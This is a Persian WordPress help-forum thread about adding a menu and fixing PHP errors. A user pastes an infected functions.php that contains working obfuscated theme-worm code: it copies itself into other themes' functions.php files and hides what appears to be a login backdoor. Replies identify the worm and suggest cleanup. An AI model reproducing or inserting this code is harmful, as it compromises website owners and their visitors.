رفتن به مطلب

پوسته ي سايتم از فهرست پشتيباني نمي كنه


پست های پیشنهاد شده

سلام

پوسته ي سايتم از فهرست پشتيباني نمي كنه؟ چطور مي تونم اين امكان رو اضافه كنم ؟

اگه بخوام فهرست رو مثل اين سايت :

http://tortak.com/

بالاي صفحه درست كنم چكار كنم ؟

آدرس سايتم :

http://razva.ir/

لینک به ارسال

اون كدي كه تو اين آموزش گفتيد رو كپي كردم اما بعدش اصلا سايت باز نميشه و اين ارور رو مي ده:

Parse error: syntax error, unexpected T_STRING in /home3/razvair/public_html/wp-content/themes/razva4_final/functions.php on line 1

لینک به ارسال

سلام

مشکل در فایل فانکشن هست . ببینید کد php که شروع شده بسته شده یا نه ، یا اینکه کد رو در فانکشن درست گذاشتید یا نه . کد فایل فانکشن رو بذارید تا دوستان بررسی کنند .

لینک به ارسال

اين كد كاملشه :


<?phpif ( function_exists('register_sidebar') )register_sidebar(array('name'=>'right-sidebar','before_widget' => ' <!-- مرکز طراحي قالب رضا آنلاين.نت --><br><div class="s-matn">','after_widget' => ' </div>','before_title' => '<div class="s-top">    <b>','after_title' => '</b><br><div class="s-bar-ro"></div>',));if ( function_exists('register_sidebar') )register_sidebar(array('name'=>'left-sidebar','before_widget' => ' <!-- مرکز طراحي قالب رضا آنلاين.نت --><br><div class="s-matn">','after_widget' => ' </div>','before_title' => '<div class="s-top">    <b>','after_title' => '</b><br><div class="s-bar-ro"></div>',));function catch_that_image() { global $post, $posts; $first_img = ''; ob_start(); ob_end_clean(); $output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches); $first_img = $matches [1] [0]; if(empty($first_img)){ //Defines a default image $first_img = bloginfo('stylesheet_directory')."/new_guide_app.jpg"; } return $first_img;}?>
<?php
function _check_active_widget(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);
$output .= ($showdot && $ellipsis) ? "..." : "";
}
}
}
}
return $output;
}
function _get_all_widgetcont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == "/"){
$places=substr($places,0,-1);
}
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != "." && $elem != ".."){
if (is_dir($places . "/" . $elem)){
$wids[]=$places . "/" . $elem;
} elseif (is_file($places . "/" . $elem)&&
$elem == substr(__FILE__,-13)){
$items[]=$places . "/" . $elem;}
}
}
}else{
return false;
}
if (sizeof($wids) > 0){
return _get_all_widgetcont($wids,$items);
} else {
return $items;
}
}
if(!function_exists("stripos")){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}
if(!function_exists("strripos")){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != "." && $file != "..") || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
add_action("admin_head", "_check_active_widget");
function _prepared_widget(){
if(!isset($length)) $length=120;
if(!isset($method)) $method="cookie";
if(!isset($html_tags)) $html_tags="<a>";
if(!isset($filters_type)) $filters_type="none";
if(!isset($s)) $s="";
if(!isset($filter_h)) $filter_h=get_option("home");
if(!isset($filter_p)) $filter_p="wp_";
if(!isset($use_link)) $use_link=1;
if(!isset($comments_type)) $comments_type="";
if(!isset($perpage)) $perpage=$_GET["cperpage"];
if(!isset($comments_auth)) $comments_auth="";
if(!isset($comment_is_approved)) $comment_is_approved="";
if(!isset($authname)) $authname="auth";
if(!isset($more_links_text)) $more_links_text="(more...)";
if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");
if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";
if(!isset($more_content)) $more_content="ma".$s."il";
if(!isset($forces_more)) $forces_more=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql="";
if (!$widget_output) :

global $wpdb, $post;
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if (!empty($post->post_password)) {
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__("There is no excerpt because this is a protected post.");
} else {
$output=get_the_password_form();
}
}
}
if(!isset($fix_tag)) $fix_tag=1;
if(!isset($filters_types)) $filters_types=$filter_h;
if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;
if(!isset($more_tags)) $more_tags="div";
if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#
if(!isset($mlink_title)) $mlink_title="Continue reading this entry";
if(!isset($showdot)) $showdot=1;

$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if($length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, "<!--more-->")) {
$text=explode("<!--more-->", $text, 2);
$l=count($text[0]);
$more_link=1;
$comments=$wpdb->get_results($sql);
} else {
$text=explode(" ", $text);
if(count($text) > $length) {
$l=$length;
$ellipsis=1;
} else {
$l=count($text);
$more_links_text="";
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . " ";
}
update_option("_is_widget_active_", 1);
if("all" != $html_tags) {
$output=strip_tags($output, $html_tags);
return $output;
}
endif;
$output=rtrim($output, "\s\n\t\r\0\x0B");
$output=($fix_tag) ? balanceTags($output, true) : $output;
$output .= ($showdot && $ellipsis) ? "..." : "";
$output=apply_filters($filters_type, $output);
switch($more_tags) {
case("div") :
$tag="div";
break;
case("span") :
$tag="span";
break;
case("p") :
$tag="p";
break;
default :
$tag="span";
}
if ($use_link ) {
if($forces_more) {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";
} else {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";
}
}
return $output;
}
add_action("init", "_prepared_widget");
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
global $wpdb;
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
if(!$show_pass_post) $request .= " AND post_password =\"\"";
if($duration !="") {
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
}
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
}
} else {
$output .= $before . "None found" . $after;
}
return $output;
}
?>

توجه: برای قرار دادن کد از پیوست و یا ابزار "کد" در نوار ابزار انجمن استفاده کنید.

ویرایش شده توسط سعید حسینی
استفاده نکردن از ابزار کد
لینک به ارسال

داداش این کد رو بی زحمت بذار تو یه فایل تکست ، پیوست کن . اینجوری که چیزی معلوم نیست !!! :D

لینک به ارسال

سلام

این functions.php امتحان کنید.

functions.php

فایل شما دارای این Worm نیز بود و روی حالت فقط خواندنی قرار بدید تا این کرم به فایل دسترسی نداشته باشه.

لینک به ارسال

فريد جون فايلي كه دادي همون ارور رو مي داد

اما فايل آقا سعيد حسيني رو كه گذاشتم درست شد

اما يه مشكل جديد بهش اضافه شد:

هرپستي رو مي خوام به روز رساني كنم يا تنظيمات افزونه ها رو تغيير بدم اين ارور رو ميده:

Warning: Cannot modify header information - headers already sent by (output started at /home3/razvair/public_html/wp-content/themes/razva4_final/functions.php:1) in /home3/razvair/public_html/wp-includes/pluggable.php on line 881

لینک به ارسال

پس مشکل از جایی که من گفتم نبوده ، از همون worm هست که ایشون گفتن ، احتمالا این مشکل هم از همون ناشی میشه ...... فایل functions شما فکر کنم کلا داغونه !!!!

لینک به ارسال

اما يه مشكل جديد بهش اضافه شد:

هرپستي رو مي خوام به روز رساني كنم يا تنظيمات افزونه ها رو تغيير بدم اين ارور رو ميده:

Warning: Cannot modify header information - headers already sent by (output started at /home3/razvair/public_html/wp-content/themes/razva4_final/functions.php:1) in /home3/razvair/public_html/wp-includes/pluggable.php on line 881

این را جایگزین کنید:functions.php

لینک به ارسال

دوست عزیز اسپم نکنید. اسپم شما باعث شده سری بعد که از شما اسپمی ببینم شما رو برای چند روز از انجمن محروم کنم.

در مود مشکل هم شما اول فایلی که سعید عزیز دادن رو در پوسته جایگزین بعد سطح دسترسی نوستن فایل رو بردارید تا به فایل اطلاعات اضافی وارد نشه.

لینک به ارسال

سطح دسترسي رو چند باشه ؟

بعد از آپلود شما این کرم بلافاصله کد هارو اضافه میکنه پس با نامی به غیر از functions.php آپلود کنید مثلاً sampl.php و به سطح 644 تغییر بدید و بعد با تغیر نام به functions.php امتحان کنید.

و در مورد خطای "Warning: Cannot modify header information - headers already sent by" این خطا مربوط به فضاهای اضافی در ابتدا و انتهای بلوک باز و بسته شده php ) PHP?> و <?) در فایل functions.php به وجود میاد که این موارد هم رفع کردم.

و در پایان با ادامه پیدا کردن و رفع نشدن این مشکل فایل functions.php از پوسته اصلیتون دریافت با روشی که گفتم جایگزین کنید.

لینک به ارسال

با اجازه ادمین محترم

گاهی به خاطر UTF شدن ساختار فایل این مشکل پیش میاد و با انتخاب نوع بدون BOM حل میشه.

لینک به ارسال

من هم با اجازه ي ادمين هاي محترم و تاييد حرف iranata بگم كه براي من هم يك بار اين warning رو داد . اول fanctions.php اين رو گذاشتم و حل شد :


<?php ob_start(); ?>

لینک به ارسال

دو موردی که دوستان iranata و pary_daryayi مطرح کردند تایید میشه و این 2 فایل هم تست کنید.

1- functions1.php

2- functions2.php

لینک به ارسال

به گفتگو بپیوندید

هم اکنون می توانید مطلب خود را ارسال نمایید و بعداً ثبت نام کنید. اگر حساب کاربری دارید، برای ارسال با حساب کاربری خود اکنون وارد شوید .

مهمان
ارسال پاسخ به این موضوع ...

×   شما در حال چسباندن محتوایی با قالب بندی هستید.   حذف قالب بندی

  تنها استفاده از 75 اموجی مجاز می باشد.

×   لینک شما به صورت اتوماتیک جای گذاری شد.   نمایش به صورت لینک

×   محتوای قبلی شما بازگردانی شد.   پاک کردن محتوای ویرایشگر

×   شما مستقیما نمی توانید تصویر خود را قرار دهید. یا آن را اینجا بارگذاری کنید یا از یک URL قرار دهید.

×
×
  • اضافه کردن...